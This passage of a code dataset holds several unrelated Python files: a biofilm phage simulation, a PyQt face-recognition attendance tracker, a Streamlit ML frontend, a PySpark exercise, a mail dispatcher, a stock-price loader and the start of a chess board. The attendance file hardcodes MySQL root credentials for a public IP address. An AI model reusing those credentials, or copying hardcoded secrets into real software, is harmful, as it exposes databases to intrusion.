5/practice/lesson5.practice.task3.py","file_name":"lesson5.practice.task3.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10819517009","text":"import argparse\nimport os\nimport simbiofilm as sb\nimport numpy as np\n\n# There may be some warnings from libraries we use. Feel free to enable this\nimport warnings\nwarnings.simplefilter(action=\"ignore\", category=FutureWarning)\n\n\nclass InfectAndEndController:\n def __init__(self, height, count, duration=10, biomass=False):\n \"\"\"\n If biomass is given, interpret height as a biomass\n \"\"\"\n self.infection_height = height\n self.infection_count = count\n self.end_time = 10000\n self.infection_length = duration\n self._use_mass = biomass\n\n def infect_point(self, space, time, phage, biomass, infectable):\n self.end_time = time + self.infection_length\n if self.infection_count > 1:\n sb.infect_point(space, time, self.infection_count, phage, infectable)\n else:\n sb.infect_at(space, time, phage, biomass, space.shape[1])\n\n def condition(self, space, time, phage, biomass, infectable):\n mass = sb.to_grid(biomass, \"mass\")\n if self._use_mass:\n return mass.sum() >= self.infection_height\n return (np.max(np.where(mass > 0)[0]) * space.dl) >= self.infection_height\n\n def end_condition(self, space, time):\n return time >= self.end_time\n\n\ndef config():\n return sb.cfg_from_dict(\n {\n \"general\": {\n \"output_frequency\": 1,\n \"nconnections\": 1,\n \"seed\": 1235,\n \"runtime\": 20,\n \"init_count\": 150,\n \"init_f\": 0.95,\n \"line_shove\": False,\n \"max_sim_time\": 100,\n \"3D\": False,\n \"connectivity\": 0.05,\n \"fixed_dt\": 1 / 24 + 0.0000001,\n \"targetone\": True,\n },\n \"space\": {\"dl\": 3e-6, \"shape\": (75, 200), \"well_mixed\": False},\n \"infection\": {'count': 120, 'height': 20e-6, 'duration': 1.5},\n \"substrate\": {\"max\": 6, \"diffusivity\": 2e-5, \"K\": 1.18, \"h\": 15e-6},\n \"erosion\": {\"biomass_rate\": 7.5e8, \"phage_rate\": 2.4e12},\n \"species1\": {\n \"density\": 200e3,\n \"mass\": 1e-12,\n \"division_mass\": 1.333e-12,\n \"impedance\": 6,\n \"mu\": 24.5,\n \"adhesion\": 1,\n \"resistant\": False,\n \"adsorbable\": True,\n \"yield_s\": 0.495,\n },\n \"species2\": {\n \"density\": 200e3,\n \"mass\": 1e-12,\n \"division_mass\": 1.333e-12,\n \"impedance\": 6,\n \"mu\": 24.5,\n \"adhesion\": 1,\n \"resistant\": True,\n \"adsorbable\": False,\n \"yield_s\": 0.495,\n },\n \"infected\": {\n \"density\": 200e3,\n \"mass\": 1e-12,\n \"division_mass\": 1.333e-12,\n \"impedance\": 6,\n \"adsorbable\": False, # not sure if used\n \"adhesion\": 1,\n },\n \"phage\": {\n \"diffusivity\": 3.30e-6,\n \"adsorption_rate\": 70,\n \"burst\": 120,\n \"incubation_period\": 0.02,\n \"adhesion\": 1,\n },\n }\n )\n\n\ndef setup(cfg, outdir=\"tmp\"):\n \"\"\"Do the thing.\"\"\"\n\n space = sb.Space(cfg.space)\n sim = sb.Simulation(space, cfg)\n\n substrate = sb.Solute(\"solute\", space, cfg.substrate)\n\n activeSpecies = [\n sb.Bacteria(\"species1\", space, cfg.species1, extragroups=['Susceptible']),\n sb.Bacteria(\"species2\", space, cfg.species2, extragroups=['Producer']),\n ]\n phage = sb.Phage(\"phage\", space, cfg.phage)\n infected = sb.InfectedBacteria(\"infected\", space, cfg.infected, cfg.phage)\n pairs = {phage: infected}\n\n sim.add_container(substrate, *activeSpecies, infected, phage)\n\n sb.inoculate_at(space, 0, activeSpecies[0], int(cfg.general.init_count * cfg.general.init_f))\n sb.inoculate_at(space, 0, activeSpecies[1], int(cfg.general.init_count * (1 - cfg.general.init_f)))\n\n sb.initialize_bulk_substrate(space, 0, substrate)\n\n # Set up infection & end of simulation\n ic = InfectAndEndController(\n cfg.infection.height,\n int(cfg.infection.count),\n cfg.infection.duration,\n cfg.space.well_mixed,\n )\n sim.add_event(ic.infect_point, ic.condition, [phage, activeSpecies, activeSpecies[0]])\n # change infection duration in InfectAndEndController\n sim.add_end_condition(ic.end_condition, f\"FIN-IC: {10} days after infection start\")\n\n reactions = [sb.MonodRateReaction(substrate, sp) for sp in activeSpecies]\n\n sim.add_behavior(\n sb.DiffusionReaction(substrate, reactions),\n sb.Biomass_growth(reactions),\n sb.Bacterial_division(),\n sb.Lysis(pairs),\n sb.Erode_individuals(cfg.erosion.biomass_rate),\n sb.Phage_randomwalk(cfg.erosion.phage_rate),\n sb.Detach_biomass(),\n sb.Relax_biofilm(),\n sb.Phage_interaction(pairs),\n )\n\n sim.initialize(f\"{outdir}/run1\", [], cfg.general.output_frequency)\n return sim\n\n\ndef main():\n import sys\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-p\", metavar=(\"names\", \"values\"), nargs=2)\n parser.add_argument(\"-o\", metavar=\"output_dir\")\n\n args = parser.parse_args()\n\n cfg = config()\n if args.p:\n cfg = sb.parse_params(args.p[0], args.p[1], cfg)\n name = args.o if args.o else f\"local_runs/{sys.argv[0][:-3]}\"\n sim = setup(cfg, name)\n try:\n sim.iterate(cfg.general.runtime, dt_max=0.02)\n except KeyboardInterrupt as kerr:\n sim.finish()\n raise kerr\n sim.finish()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dvonderheide/test-project","sub_path":"phage.py","file_name":"phage.py","file_ext":"py","file_size_in_byte":5746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29177319791","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLabel, QVBoxLayout, QMessageBox\nfrom PyQt5.QtGui import QImage, QPixmap\nfrom PyQt5.QtCore import Qt, QTimer\nimport cv2\nimport dlib\nimport numpy as np\nimport os\nimport mysql.connector\nfrom datetime import datetime\n\n# MySQL 연결 정보\ndb_config = {\n 'host': '34.22.65.53',\n 'user': 'root',\n 'password': 'cms',\n 'database': 'cms'\n}\n\n\n\nclass Attendance(QWidget):\n def __init__(self, user_id):\n super().__init__()\n \n now = datetime.now()\n self.date = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n\n # 카메라 객체를 설정합니다\n self.cap = cv2.VideoCapture(0)\n\n # Load models and initialize variables\n self.init_models_and_vars()\n\n # 이미지를 표시할 라벨을 설정합니다\n self.label = QLabel(self)\n vbox = QVBoxLayout()\n vbox.addWidget(self.label)\n\n # 타이머를 설정합니다\n self.timer = QTimer()\n self.timer.timeout.connect(self.viewCam)\n self.timer.start(20)\n\n self.user_id = user_id\n\n self.setLayout(vbox)\n self.setWindowTitle(\"Attendance\")\n \n # 학생들을 모두 결석으로 초기화\n self.initialize_attendance()\n \n \n def initialize_attendance(self):\n # MySQL 데이터베이스에 연결합니다\n conn = mysql.connector.connect(**db_config)\n\n # 커서를 생성합니다\n cursor = conn.cursor()\n\n # 모든 학생의 목록을 가져옵니다\n query = \"SELECT id FROM student where teacher_id = %s\"\n cursor.execute(query, (self.get_teacher_id(),))\n students = students = cursor.fetchall()\n\n # 모든 학생의 출석 상태를 '결석'으로 초기화합니다\n for student in students:\n sql = \"INSERT INTO attendance (attend_type, date, student_id, teacher_id) VALUES (%s, %s, %s, %s)\"\n values = (1, self.date, student[0], self.user_id)\n\n # SQL 쿼리를 실행합니다\n cursor.execute(sql, values)\n\n # 변경 사항을 커밋합니다\n conn.commit()\n\n # 커넥션을 닫습니다\n conn.close()\n\n def init_models_and_vars(self):\n # 얼굴 인식 모델 로드\n self.face_recognition_model = dlib.face_recognition_model_v1(\n \"dlib_face_recognition_resnet_model_v1.dat\"\n )\n # 얼굴 랜드마크 모델 로드\n self.landmark_detector = dlib.shape_predictor(\n \"shape_predictor_68_face_landmarks.dat\"\n )\n\n # 얼굴 인식을 위한 Dlib face detector 생성\n self.face_detector = dlib.get_frontal_face_detector()\n\n self.known_embeddings = []\n self.known_labels = []\n self.attended = []\n self.load_known_faces()\n\n def load_known_faces(self):\n faces_folder = \"faces\"\n npy_files = [os.path.join(faces_folder, file) for file in os.listdir(faces_folder) if file.endswith(\".npy\")]\n for file in npy_files:\n embedding = np.load(file)\n label = os.path.basename(file).replace(\".npy\", \"\")\n self.known_embeddings.append(embedding)\n self.known_labels.append(label)\n self.attended.append(False)\n\n def viewCam(self):\n # OpenCV를 이용하여 카메라로부터 이미지를 캡쳐합니다\n ret, frame = self.cap.read()\n if ret:\n dlib_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n\n # 얼굴 인식 수행\n faces = self.face_detector(dlib_frame)\n\n # 각 얼굴에 대해 얼굴 식별 및 감정 분석 수행\n for face in faces:\n landmarks = self.landmark_detector(dlib_frame, face)\n unknown_embedding = self.face_recognition_model.compute_face_descriptor(dlib_frame, landmarks)\n unknown_embedding = np.array(unknown_embedding)\n\n min_distance = 1.0\n min_distance_index = -1\n for i, known_embedding in enumerate(self.known_embeddings):\n distance = np.linalg.norm(unknown_embedding - known_embedding)\n if distance < min_distance:\n min_distance = distance\n min_distance_index = i\n\n if min_distance < 0.3:\n if not self.attended[min_distance_index]:\n self.attended[min_distance_index] = True\n student_id = self.known_labels[min_distance_index]\n teacher_id = self.get_teacher_id() # 로그인 시 사용한 user_id 가져오기\n attend_type = 0 # 출석 유형 O\n self.check_attendance(student_id, teacher_id, attend_type)\n QMessageBox.information(self, \"알림\", f\"{student_id} 출석체크 되었습니다.\")\n self.attended[min_distance_index] = True\n\n # 얼굴 영역에 라벨 표시\n left, top, right, bottom = (\n face.left(),\n face.top(),\n face.right(),\n face.bottom(),\n )\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 255, 0), 2)\n cv2.putText(\n frame,\n f\"{self.known_labels[min_distance_index]} {min_distance}\",\n (left, top - 10),\n cv2.FONT_HERSHEY_SIMPLEX,\n 0.9,\n (0, 255, 0),\n 2,\n )\n\n # OpenCV 형식의 이미지를 Pixmap으로 변환합니다\n image = QImage(\n frame, frame.shape[1], frame.shape[0], QImage.Format_RGB888\n ).rgbSwapped()\n pixmap = QPixmap.fromImage(image)\n\n # Pixmap을 라벨에 표시합니다\n self.label.setPixmap(pixmap)\n\n def check_attendance(self, student_id, teacher_id, attend_type):\n # 현재 시간을 가져옵니다\n\n # try:\n # # MySQL 데이터베이스에 연결합니다\n # conn = mysql.connector.connect(**db_config)\n\n # # 커서를 생성합니다\n # cursor = conn.cursor()\n\n # # attendance 테이블에 데이터를 삽입하는 SQL 쿼리를 작성합니다\n # sql = \"INSERT INTO attendance (attend_type, self., student_id, teacher_id) VALUES (%s, %s, %s, %s)\"\n # values = (attend_type, self.date, student_id, teacher_id)\n\n # # SQL 쿼리를 실행합니다\n # cursor.execute(sql, values)\n\n # # 변경 사항을 커밋합니다\n # conn.commit()\n\n # # 커넥션을 닫습니다\n # conn.close()\n\n # except mysql.connector.Error as e:\n # print(f\"Error: {e}\")\n \n try:\n # MySQL 데이터베이스에 연결합니다\n conn = mysql.connector.connect(**db_config)\n\n # 커서를 생성합니다\n cursor = conn.cursor()\n\n # 해당 학생의 오늘의 출석 데이터가 이미 있는지 확인합니다.\n query = \"SELECT * FROM attendance WHERE student_id = %s AND teacher_id = %s AND DATE(date) = CURDATE()\"\n cursor.execute(query, (student_id, teacher_id))\n\n result = cursor.fetchone()\n\n if result:\n # 출석 데이터가 이미 있는 경우, attendance 테이블을 업데이트 합니다.\n sql = \"UPDATE attendance SET attend_type = %s, date = %s WHERE student_id = %s AND teacher_id = %s\"\n values = (attend_type, self.date, student_id, teacher_id)\n else:\n # 출석 데이터가 없는 경우, attendance 테이블에 데이터를 삽입합니다.\n sql = \"INSERT INTO attendance (attend_type, date, student_id, teacher_id) VALUES (%s, %s, %s, %s)\"\n values = (attend_type, self.date, student_id, teacher_id)\n\n # SQL 쿼리를 실행합니다\n cursor.execute(sql, values)\n\n # 변경 사항을 커밋합니다\n conn.commit()\n\n # 커넥션을 닫습니다\n conn.close()\n\n except mysql.connector.Error as e:\n print(f\"Error: {e}\")\n\n\n def get_teacher_id(self):\n # 로그인 시 사용한 user_id를 가져오는 함수를 구현하세요\n # 예를 들어, 로그인할 때 저장한 user_id를 반환하도록 합니다\n # 이 예시에서는 임의로 \"teacher123\"을 반환하도록 설정하였습니다\n return self.user_id\n\n def closeEvent(self, event):\n reply = QMessageBox.question(\n self, 'Message', 'Are you sure you want to exit?',\n QMessageBox.Yes | QMessageBox.No, QMessageBox.No\n )\n\n if reply == QMessageBox.Yes:\n # for i in range(len(self.attended)):\n # if not self.attended[i]:\n # check_attendance(self.known_labels[i], 1)\n self.close()\n event.accept()\n self.cap.release()\n else:\n event.ignore()\n\n\n\n# if __name__ == \"__main__\":\n# app = QApplication(sys.argv)\n# ex = MyApp()\n# ex.show()\n# sys.exit(app.exec_())","repo_name":"MJU-ClassmanagementSystem/PyQt","sub_path":"attendance.py","file_name":"attendance.py","file_ext":"py","file_size_in_byte":9341,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9031699796","text":"\"\"\"\nПрограмма: Frontend часть проекта\nВерсия: 1.0\n\"\"\"\n\nfrom src import charts, evaluation, data, train\n\nimport streamlit as st\nimport yaml\n\nCONFIG_PATH = \"../config/params.yaml\"\n\n\ndef home():\n \"\"\"\n Функция для создания стартовой страницы с описанием проекта.\n \"\"\"\n\n # заголовок страницы\n st.markdown(\"# Описание проекта\")\n st.title(\"MLOps project: Recommender system for suppliers in trading platform\")\n\n # описание проекта\n st.write(\"\"\"Оператор электронных торгов предоставляет торговую площадку для государственных заказчиков,\n госкомпаний и коммерческих предприятий. Им необходима рекомендательная система, которая бы обеспечила \n поставщикам удобную навигацию по сервису, преоритетно показывая релевантные для них торги.\"\"\")\n\n # список признаков датасета\n st.markdown(\n \"\"\"\n ### Описание полей \n \n Поля в датасете purchases: \n \n - purchase – Ун��кальный идентификатор закупки\n - region_code – Регион поставки\n - min_publish_date – Дата публикации закупки \n - purchase_name – Название закупки\n - forsmallbiz – Если да, то большие компании не могут предлагать свое участие в этой закупке\n - price – Цена за закупку, предлагаемая заказчиком\n - customer – Уникальный идентификатор заказчика\n - okpd2_code – Код стандартизации товара в соответствии со справочником ОКПД2, обрезанный до 3 числа\n - okpd2_names – Названия ОКПД2\n - Item_descriptions – Описания товаров\n \n Поля в датасете suppliers: \n \n - purchase – Уникальный идентификатор закупки\n - supplier – Уникальный идентификатор поставщика\n - is_winner – Выиграл ли этот поставщик в этой закупке\n\n \"\"\"\n )\n\n\ndef eda():\n \"\"\"\n Функция для создания страницы разведочного анализа данных с графиками.\n \"\"\"\n # заголовок страницы\n st.title(\"Разведочный анализ данных\")\n\n with open(CONFIG_PATH) as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n\n # параметры конфигурации предобработки\n preproc = config['preprocessing']\n\n # загрузка данных\n df = data.get_data(preproc['train_data'], 'vectorized')\n st.write(df[:5])\n\n uniq_okpd2 = st.sidebar.checkbox(\"Кол-во уникальных ОКПД2 у поставщиков\")\n season_activity = st.sidebar.checkbox(\"Активность поставщиков в течение года\")\n price_mean_std = st.sidebar.checkbox(\"Средняя цена и разброс цены закупок поставщиков\")\n\n if uniq_okpd2:\n st.pyplot(\n charts.chart_unique_okpd2(df, 'n_unique_okpd2',\n title=\"Плотность распределения кол-ва уникальных ОКПД2 у поставщиков\")\n )\n\n if season_activity:\n ax = charts.chart_season_activity(df, 'month', 'supplier',\n title=\"Кол-во участий поставщиков в разрезе месяца\")\n\n fig = ax.get_figure()\n\n st.pyplot(fig)\n\n if price_mean_std:\n ax = charts.chart_price(df, 'supplier', 'price',\n title='Средняя цена - Разброс цены закупки у поставщиков')\n\n fig = ax.get_figure()\n\n st.pyplot(fig)\n\n\ndef train_recommender():\n \"\"\"\n Функция для создания страницы тренировки рекомендательной модели.\n \"\"\"\n # заголовок страницы\n st.title(\"Тренировка рекомендательной модели\")\n\n with open(CONFIG_PATH) as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n\n # ввод id поставщика\n supplier_id = st.text_input(\"Введите id поставщика\")\n\n if supplier_id:\n endpoint = config['endpoints']['train_recommender'] + str(supplier_id)\n\n # кнопка для запуска тренировки модели\n if st.button(\"Запустить тренировку\"):\n # тренировка модели\n train.training_recommender(endpoint)\n\n\ndef train_win_predictor():\n \"\"\"\n Функция для создания страницы тренировки прогнозирующей модели.\n \"\"\"\n # заголовок страницы\n st.title(\"Тренировка прогнозирующей модели\")\n\n with open(CONFIG_PATH) as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n\n endpoint = config['endpoints']['train_win_predictor']\n\n # кнопка для запуска тренировки модели\n if st.button(\"Запустить тренировку\"):\n # тренировка модели\n train.training_win_predictor(endpoint)\n\n\ndef get_recommends():\n \"\"\"\n Получение предсказаний рекомендательной модели\n \"\"\"\n # заголовок страницы\n st.title(\"Получение предсказаний рекомендательной модели\")\n\n with open(CONFIG_PATH) as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n\n # ввод id поставщика\n supplier_id = st.text_input(\"Введите id поставщика\")\n\n if supplier_id:\n endpoint = config[\"endpoints\"][\"evaluate_recommender\"] + str(supplier_id)\n\n if st.button(\"Запустить подбор рекомендаций\"):\n evaluation.evaluate_recommender(endpoint)\n\n\ndef get_predicts():\n \"\"\"\n Получение предсказаний прогнозирующей модели\n \"\"\"\n # заголовок страницы\n st.title(\"Получение предсказаний прогнозирующей модели\")\n\n with open(CONFIG_PATH) as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n\n endpoint = config[\"endpoints\"][\"evaluate_win_predictor\"]\n\n if st.button(\"Запустить подбор рекомендаций\"):\n evaluation.evaluate_win_predictor(endpoint)\n\n\ndef get_metrics():\n \"\"\"\n Вывод метрик качества\n \"\"\"\n # заголовок страницы\n st.title(\"Метрики качества\")\n\n with open(CONFIG_PATH) as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n\n with open(config['train']['recommender']['metrics']) as file:\n recommender_metrics = yaml.load(file, Loader=yaml.FullLoader)\n\n with open(config['train']['win_predictor']['metrics']) as file:\n win_predictor_metrics = yaml.load(file, Loader=yaml.FullLoader)\n\n dict_metrics = {\n \"Базовые метрики модели рекомендаций\": recommender_metrics['basic_metrics'],\n \"Лучшие метрики модели рекомендаций\": recommender_metrics['best_metrics'],\n \"Базовые метрики модели прогнозирования\": win_predictor_metrics['basic_metrics']['catboost'],\n \"Лучшие метрики модели прогнозирования\": win_predictor_metrics['best_metrics']['catboost']\n }\n\n type_metric = st.sidebar.selectbox(\"Метрики качества\", dict_metrics.keys())\n\n roc_auc, precision, recall, f1_metric, logloss = st.columns(5)\n roc_auc.metric(\n \"ROC-AUC\",\n dict_metrics[type_metric][\"ROC_AUC\"],\n )\n precision.metric(\n \"Precision\",\n dict_metrics[type_metric][\"Precision\"]\n )\n recall.metric(\n \"Recall\",\n dict_metrics[type_metric][\"Recall\"],\n )\n f1_metric.metric(\n \"F1 score\",\n dict_metrics[type_metric][\"f1\"]\n )\n logloss.metric(\n \"Logloss\",\n dict_metrics[type_metric][\"Logloss\"]\n )\n\n\ndef main():\n \"\"\"\n Сборка пайплайна в одном блоке\n \"\"\"\n pages_to_funcs = {\n \"Описание проекта\": home,\n \"Разведочный анализ данных\": eda,\n \"Тренировка рекомендательной модели\": train_recommender,\n \"Тренировка прогнозирующей модели\": train_win_predictor,\n \"Получение рекомендаций\": get_recommends,\n \"Получение прогнозов победителя\": get_predicts,\n \"Метрики качества моделей\": get_metrics\n }\n page = st.sidebar.selectbox(\"Выберите пункт\", pages_to_funcs.keys())\n pages_to_funcs[page]()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Lsdbot/mlops-fastapi","sub_path":"frontend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9771,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70983736087","text":"from pyspark import SparkContext, SparkConf\n\nconf = SparkConf().setAppName(\"MaxMin\").setMaster(\"local[2]\")\n\nsc = SparkContext(conf=conf)\n\nrdd = sc.textFile(\"average_quiz_sample.csv\")\n\nrdd = rdd.map(lambda x: x.split(\",\")).map(lambda x: (x[1], float(x[2])))\n\nprint(rdd.reduceByKey(lambda x, y: x if x > y else y).collect())\nprint(rdd.reduceByKey(lambda x, y: x if x < y else y).collect())\n","repo_name":"Zalasyu/PySpark-AWS","sub_path":"SparkRDDs/MaxMin/quiz_maxmin.py","file_name":"quiz_maxmin.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19527065755","text":"import datetime\nimport json\nfrom urllib.parse import parse_qs\n\nimport bottle\nfrom jinja2 import Template, UndefinedError, TemplateError\nfrom simple_mailer import exceptions\nfrom simple_mailer.captcha import CaptchaClient\nfrom simple_mailer.config import settings\nfrom simple_mailer.mailer import Mailer\nfrom simple_mailer.utils import get_logger\n\nlog = get_logger(__name__)\n\n\nclass Dispatcher:\n \"\"\"A controller that processes incoming HTTP requests and sends mail.\"\"\"\n\n data: dict\n metadata: dict\n captcha_client: CaptchaClient\n\n def __init__(self, data=None, metadata=None):\n self.data = {} if data is None else data\n self.metadata = {} if metadata is None else metadata\n self.captcha_client = CaptchaClient.from_environment()\n\n def process_data(self) -> \"Dispatcher\":\n \"\"\"Process the data, applying filters and manipulations appropriately\n \"\"\"\n data = self.data\n\n log.debug(f\"Received payload: {data}\")\n\n fields_to_include = set(settings.FIELDS_INCLUDED)\n if fields_to_include:\n if self.captcha_client.key:\n fields_to_include.add(self.captcha_client.key)\n data = {k: v for k, v in data.items() if k in fields_to_include}\n fields_to_exclude = settings.FIELDS_EXCLUDED\n if fields_to_exclude:\n data = {\n k: v for k, v in data.items() if k not in fields_to_exclude\n }\n\n log.debug(f\"After filters were applied, the payload was: {data}\")\n\n if not data:\n raise exceptions.SubmittedDataInvalid(\"Need at least one field\")\n self.data = data\n return self\n\n def parse_request(self, request: bottle.Request) -> \"Dispatcher\":\n \"\"\"Extract and store the payload of a given HTTP request.\"\"\"\n env = request.environ\n content_type = env[\"CONTENT_TYPE\"]\n client_ip = env.get(\"HTTP_X_FORWARDED_FOR\", env.get(\"REMOTE_ADDR\", \"\"))\n log.info(\n f\"Processing HTTP request from client with IP {client_ip} ...\"\n )\n self.metadata = {\n \"mailer_url\": request.url,\n \"origin\": request.remote_addr or \"\",\n \"client_ip\": client_ip,\n }\n body = request.body.read().decode(request.POST.input_encoding)\n if content_type == \"application/x-www-form-urlencoded\":\n data = {k: (\", \").join(v) for k, v in parse_qs(body).items()}\n elif content_type == \"application/json\":\n try:\n data = json.loads(body)\n except json.JSONDecodeError:\n err = log.error(\"Received invalid JSON\")\n log.debug(f\"Invalid JSON: {body}\")\n raise exceptions.SubmittedDataInvalid(err)\n else:\n log.debug(f\"Submitted payload: {data}\")\n else:\n err = (\n f\"Client sent request unsupported content type: {content_type}\"\n )\n log.warning(err)\n raise exceptions.ContentTypeUnsupported(err)\n self.data = data\n self.process_data()\n return self\n\n def _get_templated_body(self) -> str:\n \"\"\"Assemble and return the body of the message using the template.\n\n Any captcha data is automatically removed, if present.\n \"\"\"\n tmpl_path = settings.MAIL_TEMPLATE_PATH\n data = self.data.copy()\n if self.captcha_client.key:\n data.pop(self.captcha_client.key)\n if tmpl_path:\n try:\n with open(tmpl_path) as fd:\n tmpl = Template(fd.read())\n try:\n return tmpl.render(data=data, metadata=self.metadata)\n except UndefinedError as exc:\n raise TemplateError(\n f\"The template did not define the required fields:\"\n f\" {exc.message}\"\n )\n except IOError:\n err = (\n f\"Cannot open template file. \"\n f\"Check if it exists and is readable.\"\n )\n log.error(err)\n raise exceptions.ConfigError(err)\n else:\n return json.dumps(self.data)\n\n def get_server(self) -> Mailer:\n \"\"\"Get an instance of the mailer server.\"\"\"\n return Mailer(\n host=settings.SMTP_HOST,\n port=settings.SMTP_PORT,\n use_tls=settings.USE_TLS,\n )\n\n def dispatch(self) -> None:\n \"\"\"Dispatch a given HTTP request.\n\n Returns true or false depending on the outcome.\n \"\"\"\n self.captcha_client.validate_data(self.data)\n\n self.metadata.update(\n timestamp_utc=datetime.datetime.utcnow().isoformat()\n )\n\n cfg = {\n \"from_\": settings.FROM_ADDRESS,\n \"to\": settings.TO_ADDRESS,\n \"reply_to\": self.get_reply_to() or settings.FROM_ADDRESS,\n \"subject\": self.get_subject(),\n \"body\": self._get_templated_body(),\n }\n self.get_server().connect().send_message(**cfg).disconnect()\n log.info(\n f\"Sent email to server {settings.SMTP_HOST}:{settings.SMTP_PORT}\"\n )\n\n def get_reply_to(self) -> str:\n \"\"\"Get the reply-to address if it has been defined.\n\n If it hasn't been defined, just use the From: address.\"\"\"\n reply_to_field = settings.REPLY_TO_FIELD\n if reply_to_field:\n try:\n address = self.data[reply_to_field]\n except KeyError:\n pass\n else:\n log.debug(f\"Setting Reply-to field to: {address}\")\n return address\n\n return \"\"\n\n def get_subject(self) -> str:\n \"\"\"Get the subject for the current email.\"\"\"\n subject = settings.MAIL_SUBJECT\n if subject:\n tmpl = Template(subject)\n return tmpl.render(data=self.data, metadata=self.metadata)\n else:\n return subject\n","repo_name":"zedr/simple-mailer","sub_path":"src/simple_mailer/dispatcher.py","file_name":"dispatcher.py","file_ext":"py","file_size_in_byte":6019,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"5960010402","text":"import re\nimport urllib\n\nfrom st_assistant.data.stock_price import StockPrice\n\n\nclass StockPriceLoader(object):\n \n def __init__(self):\n pass\n\n def load(self, stock_ids: list):\n pass\n\n\nclass SinaStockPriceLoader(StockPriceLoader):\n\n PRICE_FILE = '/Users/yanpan/Documents/stock_price_data.txt'\n SERVICE_URL = 'https://hq.sinajs.cn/list='\n RESP_REG = r'var (.*)=\"(.*)\";'\n HK_EX_CNY_RATE = 0.82\n\n def load(self, stock_ids: list):\n url = '%s%s' % (self.SERVICE_URL, ','.join(stock_ids))\n with urllib.request.urlopen(url) as f:\n response = f.read().decode('gbk')\n print(response)\n return self.loadFromData(response)\n\n def loadToFile(self, stock_ids: list):\n url = '%s%s' % (self.SERVICE_URL, ','.join(stock_ids))\n with urllib.request.urlopen(url) as f:\n response = f.read().decode('gbk')\n with open(self.PRICE_FILE, 'r+') as f:\n print(response)\n f.write(response)\n\n def loadFromDataFile(self):\n with open(self.PRICE_FILE, encoding='utf-8') as f:\n return self.loadFromData(f.read())\n\n def loadFromData(self, stock_price_data):\n loaded_prices = []\n foundMatches = re.findall(self.RESP_REG, stock_price_data)\n for match in foundMatches:\n stockId = match[0].split('_')[2]\n prices = match[1].split(',')\n if stockId.startswith('sh') or stockId.startswith('sz'):\n price = self.parseSHSZPrice(stockId, prices)\n elif stockId.startswith('hk'):\n price = self.parseHKPrice(stockId, prices)\n loaded_prices.append(price)\n return loaded_prices\n\n def parseSHSZPrice(self, stockId, prices):\n return StockPrice(\n stock_id=stockId,\n name=prices[0],\n start=float(prices[1]),\n last_end=float(prices[2]),\n current=float(prices[3]),\n high=float(prices[4]),\n low=float(prices[5]))\n\n def parseHKPrice(self, stockId, prices):\n return StockPrice(\n stock_id=stockId,\n name=prices[1],\n start=float(prices[2]) * self.HK_EX_CNY_RATE,\n last_end=float(prices[3]) * self.HK_EX_CNY_RATE,\n current=float(prices[4]) * self.HK_EX_CNY_RATE,\n high=float(prices[5]) * self.HK_EX_CNY_RATE,\n low=float(prices[6]) * self.HK_EX_CNY_RATE)","repo_name":"yan0621/ta","sub_path":"st_assistant/data/stock_price_loader.py","file_name":"stock_price_loader.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5809443034","text":"#/usr/bin/python\n'''\nRepresenting a chess set in Python\nPart 2\nBrendan Scott\n27 April 2013\n\nDark square on a1\nRequires there to be a directory called\nchess_data in the current directory, and for that\ndata directory to have a copy of all the images\n\n'''\n\n# import Tkinter as tk\n# from Tkinter import PhotoImage\nfrom tkinter import *\nimport os.path\nimport os\n\n#column_reference = \"1 2 3 4 5 6 7 8\".split(\" \")\ncolumn_reference = \"a b c d e f g h\".split(\" \")\nEMPTY_SQUARE = \" \"\n\nTILE_WIDTH = 60\n'''We have used a tile width of 60 because the images we are used are 60x60 pixels\nThe original svg files were obtained from\nhttp://commons.wikimedia.org/wiki/Category:SVG_chess_pieces/Standard_transparent\nafter downloading they were batch converted to png, then gif files. Bash one liners\nto do this:\nfor i in $(ls *.svg); do inkscape -e ${i%.svg}.png -w 60 -h 60 $i ; done\nfor i in $(ls *.png); do convert $i ${i%.png}.gif ; done\nwhite and black tiles were created in inkscape\n'''\n\nBOARD_WIDTH = 8*TILE_WIDTH\nBOARD_HEIGHT = BOARD_WIDTH\nDATA_DIR = \"chess_data\"\nTILES = {\n \"black_tile\":\"black_tile.gif\",\n \"Bishop.White\":\"chess_b451.gif\",\n \"Bishop.Black\":\"chess_b45.gif\",\n \"King.White\":\"chess_k451.gif\",\n \"King.Black\":\"chess_k45.gif\",\n \"Knight.White\":\"chess_n451.gif\",\n \"Knight.Black\":\"chess_n45.gif\",\n \"Pawn.White\":\"chess_p451.gif\",\n \"Pawn.Black\":\"chess_p45.gif\",\n \"Queen.White\":\"chess_q451.gif\",\n \"Queen.Black\":\"chess_q45.gif\",\n \"Rook.White\":\"chess_r451.gif\",\n \"Rook.Black\":\"chess_r45.gif\",\n \"white_tile\":\"white_tile.gif\"\n }\n\n\nfrom enum import Enum\nclass Color(Enum):\n UNDEFINED = -1\n BLACK = 0\n WHITE = 1\n\nclass Location:\n def __init__(self, x = None, y = None):\n self.y = x\n self.x = y\n\n def __str__(self):\n return \"(\" + 